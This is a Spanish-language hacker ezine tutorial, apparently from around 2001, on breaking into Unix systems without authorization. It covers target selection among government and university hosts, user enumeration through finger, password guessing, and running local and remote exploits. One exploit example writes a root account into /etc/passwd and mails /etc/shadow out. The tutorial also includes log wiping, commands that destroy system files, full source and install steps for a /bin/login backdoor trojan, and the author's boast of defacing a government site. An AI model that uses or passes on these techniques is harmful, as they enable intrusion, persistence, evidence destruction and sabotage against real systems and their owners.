Copy Link
Add to Bookmark
Report

2-9: Metodos de PENEtracion de sistemas

eZine's profile picture
Published in 
0ri0n Team Venezuela
 · 5 Oct 2024

Indice General

  1. Introduccion.
  2. Selecionando el objetivo.
  3. Determinar que sistema operativo es...
  4. Escaneando a la Victima.
  5. Sacando informacion de los puertos abiertos y tratar de penetar el sistema.
  6. Exploits locales y ejemplos.
  7. Exploits remotos y ejemplos.
  8. Borrado de huellas.
  9. Como mantener el root con un Troyano.
  10. Ataques del tipo D.o.S.
  11. Descubriendo exploits locales en nuestro sistema.
  12. Anexos:
  13. Despedida.

01.- Introduccion

His ;-)
Bueno me presento soy Sonyy de Argentina Bs As.
Soy del team ackWT (jejeje lindo chivo no??)

Bueno este texto se basa en todo lo que ronda en mi cerebro, asi que si escribo alguna pelotudes haganmelo saber ;-)

02.- Selecionando el objetivo

Para buscar host www.netcraft.com ;-) por ejemplo:

  *.gov.ar 
*.nasa.gov
*.edu
*.com
etc...

Recomendacion: Cuando nos dirigimos a un objetivo en concreto, es conveniento anotar toda la info que se saque del host en un archivo, eso es muy util.

Bueno como principal, para seleccionar un objetivo, tenemos que tener en cuenta varias cosas:

Tenemos alguna shell para hacer login a la victima?.

Por que no lo vamos a hacer desde nuestra maquina sin tener una o dos shells, para que no salte nuestra ip.

Luego otro punto es saber de que es la web: Porno (En mi opinion hay que hacerlas mierda), Alguna compañia, algun site del gobierno, alguna universidad, bueno hay que ver con quien nos metemos no les parece?.

03.- Determinar que sistema operativo es...

Despues de tener en cuenta estas cosas hay que fijarse que sistema operativo usa, para saber con que atacar, por que no es igual un win que un linux, o me equivoco?.

Para saber el sistema operativo hay varias maneras:

Una es hacer telnet a la victima en el puerto 23, si el admin es muy lamer va a decir el verdadero sistema operativo, pero esto no es de confiar por que hay admins que tienen un dedo de frente y ponen informacion falsa, pero igual ya la opcion de usar telnet en vez de ssh me parece muy boludo, pero bueno cada loco con su tema.

Otra forma es la de usar el Queso ;-) un programa de gran utilidad, o si no ir a www.netcraft.com y ahi fijarse el sistema operativo.

Tambien hay otra forma que es la de sacar el sistema operativo por el lpd, es una forma muy buena, esta forma la podemos encontrar en http://packetstorm.securify.com (Muy pero muy buen site, muy completo) asi se llama el texto osdetect-lpd.txt, leanlo por que es muy interesante.

04.- Escaneando a la Victima

Luego de saber que sistema operativo es hay que saber que daemons usa, como hacemos esto, con nuestro gran amigo de aventuras NMAP, que lo bajamos de www.insecure.org/nmap, entonces que hacemos escaneamos los puertos para saber cual tiene abierto.

Tambien otra cosa que es importante es sacar los ns, por ejemplo esto es muy util para saber si el ftp, pop, www estan en una misma maquina todos o son varias, esto no va a ayudar a tener una idea del host.

Como hacemos para sacar el ns, de la siguiente manera:

  #nslookup victima.com

con esto nos va a salir el ns por ejemplo:

  ns1.soyunns.com

Si les interesa un poco mas este tema de sacar los ns y toda esa bola hay un muy buen texto Analisis remoto de sistemas por honoriak <honoriak@mail.ru> busquenlo ;-)

05.- Sacando informacion de los puertos abiertos y tratar de penetar el sistema.

Luego de tenes los puertos que estan abiertos hacemos lo siguiente desde nuestra shell, telnet host puerto lo que vamos a hacer es conectarnos a todos los puertos que esten abiertos y sacar todas las versiones de los daemons.

Por ejemplo:

  telnet victima.com 21 
telnet victima.com 25
telnet victima.com 79
telnet victima.com 110
telnet victima.com 109
telnet victima.com 143
telnet victima.com 119

etc...

Luego de ya tener toda esa info ya tenemos una idea de que sistema operativo es, de los ns, de los puertos, ahora que hacemos ??? ahhh jejeje veamos que utilidad le podemos sacar a cada puerto.

Puerto 21 (Ftp) luego de sacar la version, ponemos ftp host luego cuando nos aparezca el login ponemos ftp guest, anonymous guest@mishuevos.com, guest anonymous, lo que hacemos es probar si se permite la cuenta de anonymous, si es asi y entramos ponemos ls -a para que nos liste los dir, entonces miramos los permisos de cada dir, si hay permisos de escritura anotamos en que dir, y nos vamos a http://www.hack.co.za o a http://packetstorm.securify.com y nos fijamos que exploit hay para esa version.

Puerto 79 (El puerto del finger), el admin que tenga este puerto abierto es un verdadero lamah, por que este puerto lo que nos brinda son los usuarios de la maquina y la info de cada usuario, para aprovecharnos de este puerto hacemos lo siguiente, primero nos conectamos telnet host 79.

Y ponemos /w este comando lo que hace es decirnos quien esta conectado, si el root esta conectado no es conveniente meternos hasta que se vaya, pero lo que hacemos es fijarnos de que host viene el root, si nos dice console es que esta conectado directamente desde la maquina, pero si nos dice un host, es conveniente examinar ese host desde donde viene conectado el root, por que si uno llega a entrar a ese host y saca el root de ese host podemos sacar el pass del root del host donde nosotros queriamos entrar, poniendo un sniffer ;-)

Bueno si dice que no hay nadie conectado lo que tenemos que hacer es probar de poner nombres de usuarios por ejemplo: juan, jose, mfernandez, etc... todo lo que se nos ocurra, si no sacamos ninguno hacemos lo siguiente entramos a la web de ese host y nos fijamos si nos dice algun mail por ejemplo carlos@host.com, si encontramos un mail ya tenemos un user para probar en el finger, entonces lo que hacemos es telnet host finger y luego escribimos carlos + enter y nos fijamos que info sale si nos sale la info del usuario, juntamos toda la info que saquemos de los usuarios y la anotamos por ejemplo:

  Trying 200.0.0.0 
Connected to host.
Escape character is '^]'.
ventas

Welcome to Linux version 2.2.7 at host !

9:10am up 1 day, 23:56, 2 users, load average: 0.03, 0.02, 0.00

Login: carlos Name: Carlos Gimenez
Directory: /home/ventas Shell: /bin/bash
On since Sat Mar 3 09:00 (VET) on ttyp1 from nasa.gov.jejejej
New mail received Fri Mar 2 06:58 2001 (VET)
Unread since Wed Nov 22 13:16 2000 (VET)
No Plan.
Connection closed by foreign host.


user: carlos
datos: Carlos gimenez

Esta info nos sirve para sacar una shell por ejemplo hay muchos server, generalmente universidades, que tienen muchos usuarios y siempre hay alguno que usa claves faciles, entonces lo que hacemos es telnet victima.com 23 y cuando nos salga el login probamos todas las posibilidades como por ejemplo:

  user: carlos 
pass: carlos

user: carlos
pass: gimenez

user: carlos
pass: cgimenez

Bueno probamos todas las posibilidades imaginables, si logramos entrar bien y sino no hay que desesperarse por que de ultimo recurso se puede concurrir a la fuerza bruta, que es probar con un programa usuarios y claves con una lista de palabras, pero si ya tenemos el usuario ya tenemos l mitad del trabajo hecho por que solo nos falta sacar la clave jejeje pequeño detalle.

Puerto 110 es el puerto del pop para explotar alguna vulnerabilidad casi siempre hay que tener una shell si la tenemos, lo que tenemos que hacer es bajarnos el exploit y usarlo y nada mas.

Bueno... y asi hay que hacer sucesivamente con todos los puertos, y hay que probar todos los exploit, si no lo lograron nos quedan todavia opciones no se preocupen.

Se puede escanear los cgi, hay muchos programas para escanear cgi, de nuevo vamos a packetstorm y escaneamos todos los posibles cgi si encontramos alguno lo que tenemos que hacer es fijarnos que cgi es y ir a www.hack.co.za o a http://packetstorm.securify.com y fijarnos como se explota, un ejemplo:

  http://host/cgi-bin/nph-test?* 
http://host/cgi-bin/nph-test?/home/*

lo que hace esto es listar directorios.

Si hicimos todo esto y nada funciona no nos desesperemos, por que todavia nos queda una posibilidad pero ya es muy dificil pero muy divertida, esta posibilidad es buscar nuestros exploits, mas adelante voy a explicar como buscar exploit locales, exploit remotos estoy aprendiendo jejeje ;-)

Ahora digamos que entramos al sistema entonces que hacemos ??? pues que mas, Sacar el root!, entonces vamos a empezar a trabajar.

Como primer paso ponemos w para saber quien esta en el sistema, si esta el root nos conviene salir y entrar mas tarde. Si no esta el root hay que sacar el root, entonces hacemos esto:

  #uname -a

Que nos va a decir el verdadero S.O, luego de tener esto buscamos los exploits para esas versiones y listo ;-)

06.- Exploits locales

Una vez dentro de la maquina y sabiendo que sistema operativos es buscamos el exploit remoto una vez que lo tenemos lo tenemos que meter en la maquina de la siguiente manera:

  #tee cal.sh 

luego de hacer eso ponemos:

#sh cal.sh

para ejecutar el exploit:

137$ sh cal.sh
Host [local] :local
Type a command (max length=75), for example :
"echo r00t::0:0:Leshka Zakharoff:/:>>/etc/passwd"
"mail leshka@leshka.chuvashia.su</etc/shadow"
<------------------75--------------------------->
>echo r00t::0:0:Leshka Zakharoff:/:>>/etc/passwd

138$ su r00t

# id

uid=0(root) gid=0(root) groups=0(root)

ven que facil ;-)

Esto conviene probarlo en la maquina de uno y practicar, tambien hay que fijarse bien el codigo del exploit para ver como funciona y para que programa es dirigido para ver si ese programa se encuentra en el sistema.

Vamos a poner otro ejemplo pero ahora con un codigo en c el exploit es para el vixie-crontab-3.0.1 y funciona en RedHat Linux 4.x/5.x/6.0 y en S.u.S.E. Linux 6.x, entonces que hacemos:

  #tee archivo.c 
#gcc -O2 archivo.c -o archivo

luego ./archivo
crontab ./CrOn

luego esperamos un minuto y ponemos crontab -r

luego de hacer esto si todo fue bien ya tenemos una shell de root creada, lo que tenemos que hacer es su -l cronexpl y poner el pass que nos dice en el exploit y listo.

facil no???

07.- Exploits remotos

Estos quizas les paresca mas dificil de usar por que hay que jugar mucho con el offset a veces.

Vamos a dar un ejemplo de un exploit para el SCO para el httpd desde nuestra shell subimos el exploit lo compilamos y ponemos lo siguiente:

  sonyy:ñ # (./s 0;cat) | netcat host 457 

id uid=28(nouser) gid=28(nogroup) groups=28(nogroup)

y listo nos dio una shell nobody ;-)

No todos son tan faciles, este que puse es el mas facil de todos, hay otros que hay que jugar mucho con el offset y quizas este parcheado el bug y no funciona.

08.- Borrar huellas

Bueno esta es una parte muy importante, de todo por que sin ella nos pueden agarrar, hay que tener en cuenta que si crackear un site lo mas facil es borrar los logs con el comando "rm" por ejemplo:

  #rm /var/log/wtmp 
#rm /var/log/lastlog
etc...

y luego para no dejar mal el sistema

  #tee /var/log/wtmp 
#tee /var/log/lastlog

pero si queremos conservar el root sin que nos agarren hacemos lo siguiente, tenemos que usar zap, que son programas para borrar huellas editando los logs, esos programas los encontramos en packetstorm.

Tambien hay que borrar o editar el .bash_history o .sh_history para que no vean lo que hiciste, despues tenemos tambien que borrar los exploits que subimos.

Y listo el crimen perfecto, y si es una pagina porno o algun gov o algun host que quieran crackear hay que buscar el index.html entonces usamos el comando find.

Ahora digamos que este site es un site de pornografia infantil, y nosotros pensamos que eso esta mal (por lo menos yo si) asi que queremos crackearlo y hacer mier..(da) jejej el sistema, eso es muy facil: podemos hacer todas estas cosas, para que el sistema siga funcionando pero para que no puedan logearse ni arreglar el sistema asi que la unica forma de arreglarlo de reinstalando el sistema.

  #rm /etc/passwd 
#rm /etc/shadow
#rm /bin/login
#rm /bin/rm
#rm /etc/inetd.conf

y por ultimo:

  #killall login

;-) y listo, no mas nos falta cerrar los daemons menos el httpd para que se vea el crack.

09.- Como mantener el root con un Troyano

Bueno digamos que no queremos crackear este sistema, asi que lo que queremos hacer es tener root siempre, sin que nos agarren, sin poner nombre de usuario sin poner clave, sin que nadie en el sistema se de cuenta que hay alguien en el sistema poniendo el comando who lindo no?

Pudiendo logearse al sistema y si uno quiere poner una clave para que solo uno pueda entrar y que nos de una shell de root cada vez que se lo pedimos.

Bueno entonces a poner un troyano!!! , para poner un troyano hay que tener root. Asi que vamos a usar este troyano:

[++] xploit/login.c 
/*
* Localcore (http://www.localcore.org) login backdoor.
* To trigger, you can either do:
* DISPLAY=MAGIC_WORD; export DISPLAY; telnet target-host
* or
* telnet
* env def DISPLAY MAGIC_WORD
* o target-host
*
* Installation: copy /bin/login to /usr/lib/login , chmod 755 it,
* copy this to /bin/login, chmod 4755 it and touch all timestamps.
*
* Change the MAGIC_WORD and such to taste your fit.
*/


#include <stdio.h>

/* start of user def stuff */
#define OLDLOGIN "/usr/lib/login"
#define LOGINNAME "login"
#define MAGIC_WORD "localhost"

/* end of user def stuff */

/* To make it a bit better looking in strings */

#define REVISION "$Id: Localcore 2000/08/14 21:31:00 marekm Exp $"

char **exe;

do_back() {
puts(REVISION);
putenv("TERM=vt100");
putenv("HISTFILE=/dev/null");
execl("/bin/sh","sh","-i",0);
}

main(argc, argv)
int argc;
char *argv[];
{
exe = argv;
exe[0] = LOGINNAME;
if ((char *)getenv("DISPLAY") != (char *)NULL)
if (strncmp(getenv("DISPLAY"),MAGIC_WORD,strlen(MAGIC_WORD)) == 0)
do_back();
execv(OLDLOGIN,exe);
}
[--]

Este troyano es el que mas me gusta ;-) gracias localcore ;-)
Bueno para poner este exploit tenemos que hacer lo siguiente:

  #cp /bin/login /usr/lib/login 
#chmod 755 /usr/lib/login
#tee login.c
#gcc -O2 login.c -o login

el exploit lo ponemos en /bin/login

  #chmod 4755 /bin/login

y luego hay que hacer un touch

Bueno lo que hicimos aca fue reemplazar el /bin/login por este troyano. Si le queremos poner clave tenemos que modificar el codigo del troyano antes de compilarlo, lo que tenemos que modificar es:

  #define MAGIC_WORD "localhost"

en vez de localhost podemos la clave que querramos por ejemplo: Rd2MZ*a2d linda clave no?? jejeje.

Entonces luego de haber puesto el troyano nos salimos del host, habiendo borrado todas las huellas y habiendo dejado el sistema como estaba. Y desde cualquier terminal ponemos la siguiente sintaxis:

  export DISPLAY="localhost"; telnet victima.com 

Trying 200.00.00.00...
Connected to victima.com
Escape character is '^]'.

SCO OpenServer(TM) Release 5 (host) (ttyp0)

$Id: Localcore 2000/08/14 21:31:00 marekm Exp $
#
id uid=0(root) gid=3(sys) groups=3(sys),0(root),1(other)
#

aclaracion: "localhost" es la clave que no definimos, la que viene por default.

Entonces bueno ya ta tenemos root y nadie nos ve ;-) jejejeje

10- Ataques del tipo D.o.S

Bueno el D.o.S son ataques de negacion de servicio, yo solo los practico contra paginas pornograficas, estos son programas como los que se usaron contra yahoo y amazon lo que se hizo en esa ocacion fue desde varios host poner programas, programados para atacar a una determinada hora en un dia determinado. Para conseguir programas dos http://www.hack.co.za/dos/ddos/ y luego para cada sistema operativo hay un atake distinto.

Bueno no hay mucho que decir en este punto.

11.- Descubriendo exploits locales en nuestro sistema

Bueno esto es un tema apasionante, lo voy a tratar muy por arriba por que hay muchos textos que dicen como ;-)

http://www.hack.co.za/papers/exploithowto/index.html
http://www.hack.co.za/papers/basicoverflows/index.html
http://www.hack.co.za/papers/advancedoverflows/index.html

Hay que aclarar que para conseguir una shell root el programa tiene que tener SUID, para saber que programa tiene suid se pueden bajar el programa check.pl de http://freshmeat.net

Ese programa es muy bueno ;-)

Bueno luego de saber que programas tienen SUID, hay que empezar a jugar con cada uno hasta que alguno cree un core.

Como hacemos esto? con la siguiente sintaxis:

  programa -language `perl -e 'print "A"x1200'`

si esto sirve nos va a tirar un core

entonces ponemos gdb programa core, luego ponemos info registers y nos tiene que aparecer ip 4141414141 si nos aparece esto quiere decir que sobreescribe la pila ahora lo que hay que hacer es hacer el exploit.

Si no saben programar o estan aprendiendo pueden hacer lo siguiente bajarse exploit de http://www.hack.co.za y mirarlos y poner el programa de ustedes y empezar a jugar, antes hay que leer ;-)

12.- Anexos:

A.- Mis Log's de como entre a varios lugares.


Por ejemplo un ejemplo del finger:

  sonyy:ñ #  telnet victima.com 79 
Trying 200.0.0.0
Connected to host.
Escape character is '^]'.
ventas

Welcome to Linux version 2.2.7 at host !

9:10am up 1 day, 23:56, 2 users, load average: 0.03, 0.02, 0.00

Login: ventas Name: ventas
Directory: /home/ventas Shell: /bin/bash
On since Sat Mar 3 09:00 (VET) on ttyp1 from nasa.gov. (Jejejeje)
New mail received Fri Mar 2 06:58 2001 (VET)
Unread since Wed Nov 22 13:16 2000 (VET)
No Plan.
Connection closed by foreign host.

sonyy:ñ #
sonyy:ñ # telnet victima2.com
Trying 200.00.00.0.
Connected to host
Escape character is '^]'.

Welcome to SuSE Linux 6.1 (i386) - Kernel 2.2.7 (ttyp2).
host login: ventas
Password:
Have a lot of fun...
You have new mail.

ventas@host:ñ > cd /
ventas@host:/ > cd tmp
ventas@host:/tmp > tee cronexpl.c
ventas@host:/tmp > gcc -O2 cronexpl.c -o cronexpl
ventas@host:/tmp > ./cronexpl
ventas@host:/tmp > crontab ./CrOn
ventas@host:/tmp > crontab -r
ventas@host:/tmp > su -l cronexpl

Password:

  victima2: # 

listo root!!!

ven que facil!!!

vamos con otro ejemplo:

  victima: # (./s 0;cat) | netcat www.fuac.edu.co 457 
id
uid=28(nouser) gid=28(nogroup) groups=28(nogroup)

bueno listo
ahora ya saben como funciona la cosa.


B.- Como entre a www.venezuela.gov.ve


Bueno aunque no lo crean fue muy facil, escanee los puertos, y encontre un bug en el rpc, esto no se lo dije a nadie hasta que lo parchee, ahora ya no funciona ;-) por lo menos el que yo use.

luego cambie la web, borre las huellas y crackee todos los pass: root etc... muy faciles y luego me sali, no puse troyano ni nada, y la segunda vez que lo crackee use un exploit remoto que me dio una nobody y despues use un exploit local obtuve el root y luego sigue el mismo procedimiento.

La verdad ese admin no tiene ni puta idea de nada.

13.- Despedida

Bueno me parece que es bastante o no? si en algo me equivoque, o me quieren decir cualquier cosa, mi correo es Sonico60@hotmail.com

Espero que les haya servido para algo este texto.

byes!!!
--Sonyy

Saludos a : MerPHe, Sicario, Capone, y para todos byes!!!

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT